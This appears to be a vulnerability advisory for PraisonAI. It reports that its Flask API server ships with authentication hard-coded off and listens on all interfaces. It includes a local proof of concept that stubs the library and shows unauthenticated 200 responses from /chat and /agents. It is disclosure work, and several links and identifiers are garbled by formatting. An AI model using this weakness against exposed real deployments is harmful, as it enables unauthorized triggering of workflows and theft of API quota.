Summary

Details

• AUTH ENABLED = False and AUTH TOKEN = None are hard-coded at [[src/praisonai/api server.py](https://github.com/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/api server.py:15)](/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/api server.py:15).
• check auth() returns True whenever authentication is disabled, so both protected routes fail open by design at [[src/praisonai/api server.py](https://github.com/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/api server.py:18)](/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/api server.py:18).
• POST /chat only checks that the request JSON contains a message key and then runs PraisonAI(agent file="agents.yaml").run() at [[src/praisonai/api server.py](https://github.com/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/api server.py:31)](/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/api server.py:31).
• GET /agents is guarded by the same no-op authentication check and returns agent metadata at [[src/praisonai/api server.py](https://github.com/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/api server.py:55)](/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/[src/praisonai/api server.py](https://github.com/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/api server.py:66):55).
• When launched directly, the same script binds to 0.0.0.0:8080 at [src/praisonai/api server.py](/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/api server.py:66).

• APIConfig defaults auth enabled to False in [src/praisonai/praisonai/deploy/models.py](/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/deploy/models.py:23).
• The generated sample API deployment YAML recommends host: 0.0.0.0 together with auth enabled: false in [src/praisonai/praisonai/deploy/schema.py](/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/deploy/schema.py:108).

• v2.5.6 already ships the same src/praisonai/api server.py implementation.
• The current PyPI release on May 1, 2026 is 4.6.33, and it still ships the same unauthenticated server logic.

PoC

1. From the repository root, create a throwaway environment with the server's direct Flask dependencies:

python3 -m venv /tmp/praisonai-ghsa-venv
/tmp/praisonai-ghsa-venv/bin/pip install flask flask-cors

2. Execute the shipped src/praisonai/api server.py under a minimal stub for praisonai.PraisonAI so only the server auth logic is exercised:

/tmp/praisonai-ghsa-venv/bin/python - <<'PY'
import importlib.util
import pathlib
import sys
import types

stub = types.ModuleType("praisonai")

class DummyPraisonAI:
  def  init (self, agent file="agents.yaml"):
    self.agent file = agent file
  def run(self):
    return {"ran": True, "agent file": self.agent file}

stub.PraisonAI = DummyPraisonAI
sys.modules["praisonai"] = stub

path = pathlib.Path("src/praisonai/api server.py").resolve()
spec = importlib.util.spec from file location("api server local", path)
mod = importlib.util.module from spec(spec)
spec.loader.exec module(mod)

client = mod.app.test client()
print(client.get("/agents").status code, client.get("/agents").get data(as text=True))
print(client.post("/chat", json={"message": "hello"}).status code, client.post("/chat", json={"message": "hello"}).get data(as text=True))
PY

3. Observed result:

200 {"agent file":"agents.yaml","agents":["default"]}
200 {"response":{"agent file":"agents.yaml","ran":true},"status":"success"}

Impact

• unauthenticated enumeration of the configured agent file through /agents
• unauthenticated triggering of the locally configured agents.yaml workflow through /chat
• repeated consumption of model/API quota and any other side effects performed by that workflow
• exposure of whatever result PraisonAI.run() returns to the unauthenticated caller